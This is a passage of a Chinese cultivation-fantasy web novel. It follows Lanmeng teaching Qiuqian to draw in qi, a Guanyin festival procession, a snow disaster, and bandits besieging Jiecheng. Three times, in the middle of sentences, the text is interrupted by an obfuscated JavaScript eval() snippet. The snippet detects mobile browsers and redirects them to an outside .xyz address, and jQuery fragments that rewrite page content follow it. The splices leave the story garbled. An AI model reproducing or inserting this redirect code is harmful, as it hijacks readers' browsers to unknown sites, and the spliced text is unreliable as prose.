“你扶他去休息吧,再过几个时辰就会醒了。我在河对面租了屋子,明日未时你再来找我,我教你引气入体。”岚孟拍了拍秋迁的肩膀,笑道:“去吧。” 秋迁朝她点了点头,然后便快步跑进了屋子里。 岚孟步履稳健地走出了寸家,直到走到了僻静无人的街角,才扶着墙吐出一口血来,她的脸色一下子变得煞白,点点血渍沾在垂落的鲛云纱上,顺着薄纱的纹理汇聚成了一滴。 她伸手捻掉那滴血,用手背揩去唇边血迹,声音沙哑:“你来干什么?” 柳逸直从她背后的巷子里走了出来,绕到她面前站定,看着地上的血迹,他眉头紧锁:“我真是越来越看不懂你了。” “我闫扶音做事,何须他人理解?” “那玉玦上有和重明尾羽一样的气息,莫非他是尧玦故人?”柳逸直问道。 岚孟扯了扯嘴角,“堂堂山到源卫尉,竟然还做偷窥他人的勾当?” 柳逸直笑了一下,自哂道:“毕竟我不是什么光明磊落的君子。” 沉默良久,岚孟才开口,声音轻飘飘的,仿佛雪花落在心头,柔软,怅惘,还带着一丝丝冰凉。 “只不过是看在尧玦的面子上,帮他一个小忙罢了。” 柳逸直反问:“不惜耗损元气也要为一个刚认识的人续命,以致妖力反噬而吐血,这就是你说的小忙?” 岚孟闭口不言。 柳逸直步步紧逼:“当时没杀了我,也是看在尧玦的面子上?为什么能调动暾云炬神力?你的背上为什么长着属于重明的羽毛?闫扶音,你到底是什么人?” 岚孟抬头看他,隔着鲛云纱和他对视,语气冰冷:“与你何干?你有什么资格质问我?不要以为我不敢杀你。” “我就站在这,你来杀啊!”柳逸直提高了声音。 岚孟冷哼一声:“你不就是算准了我修为有损,不是你的对手,所以才敢来质问我吗?” 柳逸直心想,那可不呗?要放在平时,他哪有那个胆子来挑衅一个修为比自己高的心狠手辣的妖族? 他轻咳一声,朝她伸出手:“虽然我不是什么好人,但也不会趁人之危,走吧,我送你回去。” 岚孟站着没动,柳逸直疑惑道:“你不信我?” 岚孟把手从墙上缩了回来,站直身体,面无表情道:“背我。” 柳逸直:“……” 好吧。 他背对着她半蹲下,搂着她的膝弯将她稳稳背了起来。 轻缓的呼吸扑在他的后颈,像是有人拿着羽毛轻扫。偶尔拂过他脸颊的鲛云纱滑软冰凉,搭在他肩上的两只手触感却温热。 将岚孟背到她租的院子门口,柳逸直就把人放下来了。 岚孟在门前站定,脸色依旧苍白,问道:“进来坐坐?” 柳逸直摇摇头:“平河州有妖祸,山主让我过去支援,这就要走了。” 岚孟心中暗喜,这倒霉玩意终于要走了,面上还是一副冷淡的模样:“那就祝你一路顺风。” 柳逸直看着她欲言又止,犹豫半晌还是什么也没说,转身朝城门走去。 岚孟目送他的背影消失在道路上,才推门走了进去,一路扶着墙回到房间,躺在床上,闭上眼睛昏昏欲睡之际,她猛然惊醒。 糟了,没把琉璃瓶要回来! - 翌日,未时,秋迁背着一个鼓鼓囊囊的包袱,怀里抱着琵琶,轻轻叩了叩紧闭的大门。 “闫姑娘,我是秋迁。” 大门“吱嘎”一声开了,秋迁走到院子里,看见正屋的房门开着,她走近看了一眼,没人,正打算去其他地方看看人在哪的时候,闫扶音披头散发走了进来,朝她道:“坐。” 秋迁把琵琶盒靠在了脚边,拘谨地坐在椅子上,脊背挺得笔直,双手规规矩矩交叠着放在膝盖上,眼睛时不时往门外望。 岚孟给她倒了杯茶,见她还背了包袱过来,便问里面装了什么。 秋迁忙道:“是给师傅的拜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929643|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师礼。” 她打开包袱,里面是肉干、芹菜、龙眼干、莲子、红枣、红豆等物。 她忐忑道:“我不知道修行中人拜师有些什么讲究,只好按照学子拜师的规矩准备了这些俗物。” 岚孟捡起一颗莲子瞧了瞧,微微勾了勾唇,她把莲子放了回去,道:“先拿回去吧,拜师之事不急于一时。等你有所成就了,再去这个地址找他。” 岚孟从袖中取出一张纸条递给秋迁。 秋迁接过纸条,紧绷的身体放松了下。原本她还担心师傅会不会嫌弃她是个什么也不懂的凡人来着,毕竟闫姑娘仙姿玉貌、惊才艳艳,她介绍的师傅必定不是泛泛之辈。 岚孟补充道:“当然,如果遇到更合适的人,或者想加入四派一盟,你尽可放手去做,这是你的自由。” 秋迁郑重地点了点头。 岚孟道:“我不是音系,暂时只能教你引气入体之法,后面就只能先委屈你看书自学了。” 秋迁懵懂地点了点头,“既然是闫姑娘教我,那还是请你收下这束脩吧。” 岚孟皱眉拒绝:“我不会做饭,你给我也是浪费。” “把东西收好,然后出来吧。”岚孟率先走了出去。 秋迁只好把东西都收了起来,她走出门去,看见闫扶音戴着帷帽站在院中,她指了指脚边的蒲团,“坐在这里。” 秋迁有模有样地盘腿坐了上去。 “意窍、心窍、精窍分别在哪你知道吗?” 秋迁摇了摇头,岚孟抬起手,枣树下的一截枯枝便飞进了她的掌中,她拿着枯枝指了指秋迁的两眼之间,“此乃意窍,其中脑汁可生出元意。” 枯枝又指向她的心口,檀中穴上方一寸五分的位置,“绛宫即为心窍,心血培养元神。” 最后,枯枝指在了肚脐下方一寸三分的位置,“通俗来讲,精窍即为丹田,可以生出元性。” “所谓引气入体,便是让元意、元神、元性三元真勾连天地灵气入体,先汇聚到丹田之中,然后分别冲击三脉。让灵气起于丹田,上出关元穴,沿面部进入意窍之中;然后再沿着脊柱向下,抵达命门,此乃督脉;最后让灵气扩散至四肢百骸,上至头顶、下至足底,当你能感觉到灵气充盈在身体每一个毛孔之时,便是引气成功了。” 岚孟弯下腰拍了拍秋迁的肩膀,温和道:“你先试试,失败很正常,引气十多次才成功的人也是有的,不要太着急,我就在这守着你。” 秋迁点了点头。 岚孟走到正房台阶坐下,看着秋迁闭上眼睛,凝神静气,空气中丝丝缕缕的灵气涌入她的三窍之中。 日头西斜,时间一分一秒过去,秋迁仿佛睡着了一般一动不动,岚孟百无聊赖地用手扣着台阶上枯干的青苔。 夕阳缓缓沉入西面的山峰之下,天边两朵白云忽远忽近,若即若离。 这时,岚孟抬头看向秋迁,灵气如滔滔江水,连绵不断地涌入她的身体之中,她整个人都仿佛被云雾笼罩,忽然,庞大的灵力从她身体里迸发出来,震散了周身朦胧的雾气,枣树上蹲着的寒鸦被惊地振翅飞离,短促凄凉的鸣声久久不绝。 岚孟勾了勾唇。 不愧是她看中的好苗子。 48. 观音诞 秋迁成功引气入体,现在是引灵境前期的修士了。 岚孟送了她不少修士入门的基础功法,还有一本尧玦编写的音修秘籍,能掌握多少就看她的造化了。 于是秋迁白日里看书练功,晚上又去梅边吹笛弹琵琶赚钱。寸微云本是介城书院的教习,因病告了长假,如今“病好了”,便又回了书院教书。 三天很快过去,观音诞辰到了。 这一天是除夕前介城最盛大的节日,无论男女老少,都可以在眉心画一点红痣,携带一个空瓶子,跟在观音花车后面游行。观音花车将从城北出发,往城西、城南绕一圈,出东城门,前往五里外的观音庙。由主持举行庆祝仪式,扮演观音的女子唱香赞,百姓们依次拜愿祈福,然后用带来的空瓶子接一瓶庙中洒了香灰的清泉回去,洒在自家门前,如此来年便能顺风顺水,和和美美。 等天黑了,人们便会将写着祝福的河灯放入淌过介城的河里,让河灯带着自己的祈愿飘向远方。 由哪位姑娘扮观音一向是由城守定的,岁寒山给城守砸了钱,这差事自然就落在了岁弥头上。 离未时初还差一刻钟,岁弥已经换上了仙气飘飘的观音服饰,眉间一点朱砂衬得她唇红齿白,像极了从画中走出来的小观音。 岁寒山满脸慈祥地为岁弥整理衣领上的褶皱,杏圆走了进来,福了福身道:“老爷,小姐,花车已经来了。” 岁寒山拍了拍岁弥的背道:“去吧。” 岁弥弯下身子想要行礼,岁寒山连忙托住她的胳膊,笑道:“使不得使不得,观音娘娘怎么能给我这个凡人行礼呢。” 岁弥忍俊不禁,推开岁寒山的手,蹲下身子福了福身,才道:“菩萨成仙以前也是凡人,既然是凡人,给自己父亲行礼又有什么不妥?” “好好好……”岁寒山抱了岁弥一下,“爹等你回家。” 岁寒山将女儿送到门口,看着她登上隆重花车,在一干穿红戴绿的百姓簇拥下逐渐远去,直到再也看不见花车,锣鼓乐声也渐渐听不到了,他才抹了一把脸上的眼泪,在家仆的搀扶下走回家中。 岁寒山一向挺直的腰杆微微塌陷,仔细看去,他的后脑勺上已经生出了几丝华发。 岁府的雕花大门“吱嘎”一声合上了。 锣鼓喧天,香风阵阵,舞龙队伍在最前方开道,敞开的马车上镶嵌着金玉珠宝,里里外外都铺满了腊梅和山茶花,花车所过之处香气弥漫,岁弥笑着朝沿途百姓点头示意,越来越多的百姓跟在花车后面,游行的队伍越来越壮大。 岁寒山生怕岁弥受冻,斥巨资买了万象斋的保暖法衣,所以岁弥现在不但不觉得冷,反而热得有些出汗,放在腹前的双手紧张的绞在一起,生怕被人发觉不妥。 远远地,岁弥看见一个白衣女子站在屋顶上,待离得近了,她才发现那是闫姑娘。 只见她纵身跳下屋顶朝自己飞了过来,岁弥的心提到了嗓子眼,见周围的人面色如常,才知道他们都看不见那凌空而行的姑娘。 岚孟在车辕上站定,将摆满了八个琉璃瓶的木盒放在岁弥手中,抬手拈去粘在岁弥鬓边的梅花瓣,冲她笑了笑,在岁弥反应过来之前便转身飞上了屋顶,转眼间便不见了踪迹。 岁弥低头看向手中的木盒,只见盒底似有光亮,琉璃瓶流光溢彩,一滴滴水珠从四面八方飞来,像是有人指引一般,分门别类落入了琉璃瓶之中。 花车绕城一周,从东门驶了出去。游行队伍足足有几万人,声势浩大地朝城外观音庙走去。 主持候在门口,其他比丘尼则分布在庙中各处,手中皆端着插有梅枝的白瓷瓶。 岁弥被杏圆搀扶着走下了花车,她朝主持行了一个佛家之礼,然后跟着主持走进了庙中。 大雄宝殿中央,一尊栩栩如生的观音神像端坐于莲花宝座之上,头戴佛冠,身披天衣,面上带着慈祥的笑容,双眼犹如深潭,顾盼之间充满了慈爱和悲悯,善财童子和龙女分侍其左右,神态娇憨惹人欢喜。 岁弥站在观音神像左侧方,主持位于右侧,百姓排成四列长队,一直延伸到了庙外。 众人的神情皆肃穆,主持高唱三句“摩诃般若波罗蜜多”,接下来就该岁弥了。 她唱道:“菩萨号圆通,降生七宝林中,千手千眼妙真容,端坐普陀宫,杨柳枝头甘露洒……” 少女清润甜美的嗓音犹如天籁,在空旷的大雄宝殿内回响,如涟漪般传到很远很远的地方,悠远绵长,就连远在城中的百姓也听到了这祥和宁静的歌声,纷纷停下了手中的活计抬头往东边看。 “……三十二应周尘刹,百千万劫化阎浮……南无普陀山琉璃世界,大慈大悲观世音菩萨。”① 岁弥唱罢,主持高呼:“拜——” 所有人皆跪地叩拜三次。 岁弥隐约听到了哭泣声,泪珠不知从何而来,源源不断地涌入她手中的锦盒里,她在杏圆的搀扶下站起身来,回头一望,空中飘落了晶莹的雪花,百姓们喜极而泣,“下雪了!下雪了!” 传说很多年前,介城一带遇到了百年难遇的干旱,河流枯干,庄稼颗粒无收,人们易子而食,饿殍遍野。旱情持续了几个月,直到十一月十九,晴天白日里忽然下起了鹅毛大雪,雪花落地成甘霖,旱情终于得解。 人们都道是观音菩萨显灵了,不忍众生疾苦才降下瑞雪,从那以后,介城便开始庆祝观音诞,把诞辰之日降雪视为祥兆。 观音庙外,岚孟伸出手,一片雪花飘飘扬扬落在她的掌心,顷刻间便融化成了水。 - 小雪不温不火,一直没停。天渐渐黑了,百姓们都汲了一壶泉水,三三两两朝介城走去。岁弥乘花车来到了河边,便让他们将自己放了下来,她抱着木盒坐在石桥边的树下,沿河的商铺已经挂起了大红灯笼,河里已经飘着许多河灯,河灯驮着烛火,驮着百姓的希望,晃晃悠悠顺流而下。 没过多久,闫扶音来取走了木盒,岁弥依旧坐在河边,身边只有一个杏圆。 夜色越发浓重,周围的人来了又走,岁弥肩头已经积了一层薄雪,杏圆冷得直跺脚,她哆哆嗦嗦道:“小姐,人家恐怕是不会来了。” 岁弥低头看了一眼脚边的两盏河灯,心中不由得沮丧失落,她自嘲道:“也是。” “我们回去吧。” 岁弥捡起河灯,被杏圆扶着站了起来,两人沿着河流往上走,前方的石拱桥上悬挂着莲花状的花灯,被风吹得旋转个不停。 马车停在石拱桥边上,岁弥正抬腿踩上凳子,余光忽然瞥到了一个模糊的身影,她扭头看去,见温润如玉的公子站在灯火熹微处,遗世而独立,不似世间人。 他提步朝自己走来。 杏圆放开岁弥的胳膊,识趣地退到了一旁。 岁弥看着崝走到自己面前站定,却又什么都没说,转身朝桥下走去了,岁弥连忙提步跟上。 来到河边,岁弥打开火折子将河灯上的蜡烛点燃了,才放到了崝手里。 她蹲下身,将河灯放进了河水中,清贵公子有样学样,两只莲花模样的河灯肩并肩飘远了。 起身时岁弥踉跄了一下,崝托了她一把,温热的手掌在她站稳时便悄然退离,岁弥压下心中苦涩,指着前方的石桥道:“五年前我便是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那王道长是附近一个道观的观主,机缘巧合之下做了散修,他的几个徒弟并未入道修行,不知道师傅是被魅妖所杀,只知道他死在了岁家,一心想要杀了岁寒山父女。怎奈岁寒山身边有高手保护,岁弥大门不出二门不迈,所以一直找不到机会下手。 他们千辛万苦等来了岁弥落单的机会,半路却杀出来了岚孟这个程咬金。 “你没杀他们吧?”崝不放心地问道。 岚孟不屑道:“我看起来像那么凶残的人吗?” 崝勾了勾唇,“毕竟闫姑娘可是生剥魅妖之皮这样的事情都能做出来的人。” 岚孟的眼神一下子变冷,她浑身紧绷起来,一手按在腰间参剑上,只要崝有任何攻击的动作,她就会暴起反击。 “元君想说什么?” 崝道:“不必如此警惕,我只是想奉劝你一句,‘燧明之书’所言并非都是正确且可行的,逆天而为不会有什么好结果。” 岚孟冷声道:“是对是错我自有分辨,不需要你这个滥好人操心。” 琮从暗处跳了出来,指着岚孟的鼻子大骂道:“你这不识好歹的家伙!我们元君好心提醒,你怎么能骂他是滥好人!我们元君明明是天大的好人!” 岚孟扯了扯唇角:“他人若是欺我辱我,我必千倍百倍奉还。哪像你们救苦救难的元君啊,不但不追究,还把十年蝉衣给了人家,这还不是滥好人?” 琮大惊失色,跳起来怒骂道:“元君!你把蝉衣给那女人了?你怎么能如此糊涂!没了蝉衣,先前十五年的功夫岂不是白费了!啊啊啊啊我就不该让你和那女的见面……” 崝看向岚孟:“戾气太重,恐伤己身。言尽于此,好自为之。” 说完,他的身影便溃散成了无数光点,像是萤火虫一般飞向了天际。 琮气得直跺脚。 “等等我啊,混蛋!” 琮化作原形飞走了,独留岚孟一人站在灯火阑珊的河边。 雪越来越大,不多时便落满了她的肩头。 49. 流寇起 大范围的雪灾如期而至。 寒流自极北之地而来,气势汹汹,呼啸着往南进军,雍、逐、平河三州首当其冲。鹅毛大雪持续不断下了半个月,房屋倒塌,河流冻结,道路垮塌,山川大地变成了白茫茫的雪原。 大小城池的街道上多的是因大雪毁坏了自家房屋而不得已流亡的人,衣不蔽体,食不果腹,每天都有人冻死在街头巷尾,每天都鲜活的生命失去生机。 由于提前得到了雪灾的消息,岁寒山得了城守授意,带头前往南边采购了许多粮食填充粮仓。雪灾来临时,城守张贴告示,派衙役安抚民众情绪,岁寒山出资修复房屋,组织百姓清理积雪,所以介城尚算安定。 只不过其他城池就不一样了。 北地本就不盛产粮食,道路被雪一封,粮食就成了最大的问题。粮行的粮食早就被抢光了,买不到粮的百姓只能去衙门前苦恼,祈求青天大老爷开仓放粮。心怀慈悲的城守早就开粮仓布施了,而少数酒囊饭袋只顾得上自己,哪里会管百姓的死活? 因此三州各地流寇四起,时不时便有贼寇闯入百姓家中,杀人抢粮的事情发生。 为了避免贼寇入城烧杀抢掠,介城早早就封城了,只许出不许进。可即便提前采买了粮食,城中存粮也不够十几万人支撑几个月。过了个惨淡冷清的年以后,粮食越来越少,百姓心头的恐慌也愈发浓重。 岁寒山带着二十个衙役南下买粮已经过了快半个月,这期间又下了几场大雪,回城的道路被阻断,岚孟和秋迁二人出城开路。 大雪压断了树木,断枝残木横斜在山道上,塌陷的土地和厚厚的积雪堵塞了通往介城的必经之路,秋迁的任务就是将这些阻碍横扫一空。 她抱着琵琶站在俯倒的树木前,岚孟越过障碍飞到她面前,道:“这附近都没人,你开始吧。” 秋迁点了点头,她深深舒了一口气,五指横扫着琵琶弦,流利婉转的乐声向四周蔓延。周围的灵气被乐声调动,如石头投进深潭,以秋迁为中心,灵气如涟漪般一层一层往外激荡开来。 岚孟站在她身后三丈处,扬声道:“集中精力,只专注于你要攻击的地方,先前不都已经练过了吗?自信点,你可以做到。” 四周的一切都仿佛消失了,秋迁的眼中只剩下面前的巨大树干,她拨弦的手指变快,乐声变得急促,激荡开来的灵气涟漪开始聚拢,拧成了一股绳,朝树干上涌去,“嘭”的一声,树干被炸得粉碎,挡路的土石和积雪被轰出了一个大洞。 秋迁犹不满足,调动全身的灵力于指尖,乐声攸然拔高,灵气如凌厉寒风,树干碎渣、沙石残雪等杂物被横扫一空,道路变得清明,远处山上的一株披雪红梅露了出来。 秋迁欣喜得跳了起来。 岚孟夸赞道:“干得不错,接下来开始练速度和准确度吧。” 于是接下来的半个月时间里,秋迁每日都抱着琵琶打雪——击落树枝上的薄雪而不打掉树枝,直到能做到让灵气瞬发,百发百中,无一失手。 正月二十七,天色既明,大雪稍歇,浑身是血的一人一骑叩响了介城的大门。 “城守大人!我们被流寇袭击了,岁老爷和其他人都被扣下当人质了,流寇大军已经在前来介城的路上了!” 流寇来袭的消息犹如火药,在介城百姓中炸开了锅。城守及时派人安抚,而且这两个月介城紧闭城门,闭目塞听,大部分百姓都不清楚外面的局势,所以他们虽然忐忑不安,但至少还没有人躁动起来,要逃出城去。 然而事情却比人们想象中要严峻得多。 最开始,流寇只是一群乌合之众,仗着有几分武艺便烧杀抢掠,掠夺了几个村庄以后,手里有钱有粮,不少亡命之徒纷纷加入其中。流寇的野心逐渐大了起来,他们开始攻占小的城池,不少驻城士兵“弃暗投明”,流寇队伍壮大到有两千人之多,逐渐成长为了一支军纪严明的军队,人人手中都有兵器,还从上一个城池缴获了冲车、云梯、投石车等用具。 介城储粮众多的事情早就传遍了,有不少流民前来投奔介城,可介城哪里养得了那么多人?城守只能狠心将人拒之门外。 手无缚鸡之力的流民进不了城,自然而然便离开了。可流寇不一样,他们人多势众,手里有兵器有攻城器械,早就盯上了介城这头肥羊。 岁寒山等人被抓以后,衙役受不了严刑拷打,自然把介城的情况都吐了出来。 得知介城守军不过五百人以后,流寇们大喜过望,当即整军进发。 秋迁打听到流寇或将在一个时辰内抵达介城,火急火燎地往家中赶,却发现家中空无一人,就连一直睡在寸微云房门口舍不得挪窝的大黄也不在,于是她急忙朝跑出家门,朝闫扶音家跑去。 推开虚掩的房门一看,闫扶音手里拿着根木棍,顶端用线拴着一块肉,正悠哉游哉地逗着台阶下的大黄狗。 大黄疯狂地摇着尾巴,哈喇子流了一地。 大敌当前,秋迁急得嘴都起泡了,她却气定神闲地在那里玩狗? 面对秋迁的质问,岚孟轻飘飘看了她一眼,道:“真是皇帝不急太监急,守城是士兵的事,你操哪门子的心?” “对方两千余人,我们不过区区五百,哪里守得住?” “那你待如何?”岚孟这才用正眼瞧她,“秋迁,我早就告诉过你了,丹灵卫不得掺和凡尘俗事。只要那群流寇里没有修士或妖族,我就没有出手的义务。” 秋迁气愤道:“那就只能任凭他们破城而入吗?流寇无恶不作,要是让他们攻进来,我们都没有活路!” 岚孟笑而不答,她放低手中木棍,大黄一口就将肉块咬了下来,“吧唧吧唧”吃得津津有味。 秋迁在庭院里站了许久也得不到答案,气得转身就走,走了几步又扭头高喊:“大黄,我们走!才不要和这个没心肝的人玩!” 大黄屁颠屁颠朝秋迁跑去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929645|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>岚孟吹了声口哨,端起手边的肉碗给大黄看。 大黄为肉的香气所诱惑,摇着尾巴往回走了几步。 秋迁气得想喷火,“给老娘回来!你到底是谁的狗!” 大黄为情势所逼,只好夹着尾巴、一步三回头地跟着秋迁走了。 大门“啪”地一声合上了,被风吹着吱嘎吱嘎响个不停,寸微云从墙后走了出来,面色惨如白纸,咳嗽压抑了许久,终于能咳个痛快。 他在岚孟身边的椅子上坐下,一杯热茶飘到了他面前,他颔首:“多谢。” 岚孟哼道:“你家这丫头是越来越放肆了,居然敢吼我。” 寸微云笑道:“她小时候也这样,这两年先是家父病逝,后来在下又病入膏肓,她不得不变得稳重。如今被姑娘娇惯了两个月,那牛脾气自然便回来了。” “看来是我这个教习不够严厉了。”岚孟深刻反省自己。 “也不知道她能不能领会姑娘话中深意。”寸微云饮了一口茶道。 “哦?你是说我话里有话?”岚孟挑眉道。 “难道不是吗?”寸微云反问道,“姑娘说的是丹灵卫不能掺和人间之事,我们家秋迁可不是丹灵卫。” 两人相视一笑,举起茶盏碰了个杯。 – 一架低调朴实的马车在城门口停了下来,尚未停稳,一个姑娘便掀开车帘跳下了车,提着裙摆急匆匆跑上了城墙。 丫鬟抱着斗篷追了上去,“小姐,你慢点!” 正是岁弥和杏圆主仆。 岁弥“噔噔噔”跑上了城墙,上面已经站了一排握着弓背着箭囊的弓卫,中年发福的城守忐忑不安地来回徘徊。 “城守大人,流寇来了吗?”岁弥跑过去气喘吁吁地问道。 城守面色凝重:“据斥候来报,最多半个时辰,流寇大军必至。” 杏圆终于追了上来,将厚实的斗篷抖开披在了岁弥肩上。 城守沉重道:“如今城头有五十弓卫,城外有三百骑兵,其余人都在下面堵城门,本官已经派人去其他城池求援了。若是等不来援军……本官也做好了弃城投降的准备。” 可城守心里清楚,先前介城一直独善其身,将其他城池的购粮使者拒之门外,如今大难临头才去求援,是否有城池会施以援手,实在是悬呐。 岁弥不安地看向远处,白茫茫的山脉好一头沉睡的巨兽,不知何时就会苏醒过来,朝介城之中的他们露出锋利的獠牙。 近处,身穿铠甲、骑着高头大马的三百士兵整齐列队于护城河内,人手一杆长枪,他们目光坚毅,迎着刺骨寒风,势要保卫自己的家园。 忽然,岁弥看见骑兵正后方好像有一个人,她眯起眼睛看去,那好像是个瘦削的姑娘,怀里好像还抱着什么。 城守“哦”了一声,解释道:“她叫秋迁,说自己学了些仙人法术,要和士兵一起守城,本官拗不过她,只好放她出了城门。” 50. 弓挽乐 雪山林海活了过来。 震耳欲聋的行军脚步声由远及近,数不清的鸟雀被惊得飞了起来,散入阴沉沉的天空中,化作黑点消失不见。 没过多久,流寇大军从山道中挤了出来,乌泱泱一大帮人,声势浩大,令人心惊胆战。 眼见着大军逼近,还想不出万全之策的城守急得满头大汗。要他治理城池,他倒是能说出个子丑寅卯来,但是他一个读书人,对行军打仗实在是一窍不通啊! 幕僚献策道:“大人,让骑兵佯装不敌,退守城内,引那些贼寇攻城,咱们往城头泼热油,再放一把火,烧死他丫的!” “蠢货!方才你怎么不说,人家都打到家门口了!你让本官现在上哪找那么多热油去!”城守怒骂道。 幕僚瘪着嘴委屈不已,他也是才想到这个法子嘛。 大军越来越近,冲车开道,握着横刀的精锐紧跟其后,其他人推着投石车,拿着镰刀、斧头等农具走在最后。 岁寒山等人走在中间,都被麻绳捆住了手脚,身上血痕密布,可想而知是经受了怎样的严刑拷打。 大军在护城河不远处停了下来,刚好在弓卫射程三丈以外,一个骑着大黑马的人走了出来,扬声高喊道:“里面的人听着,立刻弃城投降,爷爷饶你们不死!否则就杀了你们的大善人祭旗!” 岁寒山被推了出来,他踉跄着扑在了雪地上,平日里梳得一丝不苟的发髻变得凌乱不堪,他挣扎着站了起来,大喊道:“大人,这帮贼子的鬼话信不得啊!” 贼首拉紧缰绳,□□黑马抬起前蹄踢在了岁寒山背上,岁寒山飞扑出去,“噗”地一声吐出血来,染红了身前的雪地。 “爹!”岁弥扑到城头哭喊,杏圆立即将人拉了回来。 “城守大人是不在乎岁大善人的死活了是吗?让他惨死阵前也无所谓?” 城守一把将幕僚推上前去,幕僚哆哆嗦嗦道:“放,放你娘的狗屁!把岁老爷还回来!我,我们或可放你们一马!” “哈哈哈!”贼首大笑三声,“介城守军不过五百人,你们拿什么和我们打?识相点儿就把城门打开,迎爷爷们进去!” 城守躲在墙头下面,催促道:“你快说点什么啊,能拖一会是一会!” 幕僚急得嘴上起燎泡,口不择言道:“我呸!你个有娘生没娘养的狗东西!抢别人碗里的饭,算什么好狗!” 贼首大字不识一个,与人吵架倒是个中翘楚,被幕僚的话激得满嘴喷粪:“你这口气比你三叔的脚气还臭……” 两人于阵前对骂起来,污言秽语不计其数,将对方的祖宗十八代都问候了个干净。 秋迁抱着琵琶的手直打哆嗦,双腿抖成了筛子,虽然她已经修行了两个月,练习过很多次攻击的术法,但是从来没有想过自己会用弹琴的手去杀人。 当时一人一琴出城迎敌的满腔热血在见到流寇大军的那一刻消散了个干净,岁老爷身上触目惊心的血痕和吐出来的鲜血更是让她浑身冰冷,心里只剩一个念头,那就是扭头跑回城中。 可她的双腿却像是被牢牢焊在了地上一般,怎么也拔不起来。 背后的城池是她的家,充满了她的美好回忆,她爱的人和爱她的人都生活在这里。流寇不是信守承诺的君子,就算是举城投降了,流寇也不会放过城中的百姓,更何况没了粮食,谁也活不下去。 她不能退,她若是退了,介城也就完了。 没关系的,只要震慑住他们,让他们知道介城不好惹,主动退兵就可以了,不一定非要杀了他们才能结束这场祸事。 趁着贼首和幕僚对骂的功夫,秋迁的十指按在了琴弦上,深呼吸很多次,心里不停地暗示自己,我已经训练过很多次了,我可以的,我一定可以。 城墙上,城守焦急得转来转去,想破了脑袋也想不出一点办法。 岁弥哭得上气不接下气,哭得嗓子都哑了。 杏圆也不停地抹着眼泪,余光瞥见两个人走上了城墙,她定睛一看,惊得抓紧了岁弥的胳膊,指着远处的人道:“小姐!是闫姑娘!老爷有救了!” 岁弥朝她所指的方向看去,便见戴着黑色帷帽的闫扶音双手负在身后,闲庭信步一般走上了城墙。 岁弥连滚带爬地冲了过去,杏圆连忙将人扶了起来。 岁弥“噗通”一声跪在岚孟身侧,抓着她的衣角,哀求道:“闫姑娘,求求你救救我爹,求求你……” 岚孟单手将她扶了起来,“你这衣服可金贵得很,要是弄破了岂不可惜?” 岁弥连忙弯腰拍掉衣服上的沙砾,一边用手抹眼泪一边希冀地望着岚孟。 岚孟风轻云淡道:“一帮乌合之众而已,小场面,还犯不着我出手。” 城守听到动静凑了过来,搓着手问道:“请问您是?” 杏圆本想开口解释,岚孟抬手打断了她,笑道:“大人客气了,我不过是秋迁的一个远房亲戚,当不得大人一声敬称。” 城守似信非信地点了点头。 城下,贼首终于骂累了,肚子里的墨水也吐了个干净,再也骂不出一个脏字来,他“歘”地一声抽出长刀,扬声道:“兄弟们,抄家伙!” 后面的流寇们纷纷亮出武器。 介城骑兵们也举起了长枪。 秋迁的胳膊依旧抖个不停,建设了许久的心理防线还是瞬间崩塌了。 寸微云看着城下哆嗦不止的秋迁面露担忧。 岚孟沉声道:“果然还是太嫩了,没有饮过鲜血的刀剑终归是差了点火候。” 她朝一旁的弓卫道:“小哥,借一下弓箭。” 弓卫尚未反应过来,手里的弓便被人抢了去,箭囊也少了一根羽箭。 岚孟挽弓搭箭,对准了贼首,弓卫刚想说离得太远是射不到人的,下一秒,震耳欲聋的嘶吼声响彻天际,贼首骑着马,率先发动了进攻。 与此同时,“咻——”地一声,箭矢破空而去,直直钉在了贼首黑马前一尺的地面上,黑马嘶鸣起来,高高抬起了前蹄,贼首连忙拉紧缰绳安抚马匹。 空气一下子凝固了,所有人都被这一箭惊得噤若寒蝉。 秋迁猛地扭头看往城头看去,只见寸微云站在墙头一脸担忧,而头戴黑色帷帽的女子站在他旁边,握着弓的手尚未放下去,熟悉的声音传入自己耳中:“秋迁,你若是下不了手, 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忽然,“铮”地一声扫弦之音,位于大军前方的五台冲车同时爆炸了,木屑高飞于天,轰隆声震耳欲聋,流寇□□骡马纷纷受惊,在队伍里横冲直撞,不少流寇被踢打踩踏,整齐的队形瞬间便散了,贼首举刀高喊:“制服不了就把马杀了!” 白刀子进红刀子出,半数马匹嘶鸣着倒在了雪地上,雪地上绽开了无数鲜血之花。 乐声犹未停歇。铿锵有力的节奏宛若扣人心弦的擂鼓音,高亢激越的长音像是气壮河山的号角声,投石车、圆润的滚石、登城云梯纷纷应声而碎,流寇们终于意识到先前冲车的爆炸并非是因为介城守军的火药,而是这铿锵琵琶声造成的! “妖术!是妖术!大家快跑!” 不知道是谁喊了一嗓子,流寇们纷纷抱头逃窜,想要远离这个水深火热的是非之地。 贼首挥刀砍了一个逃兵的头颅,怒骂道:“慌什么!谁敢逃!老子割了他的脑袋!” “没听到那邪门的音乐还没停吗!你想让兄弟们都死在这不成!” 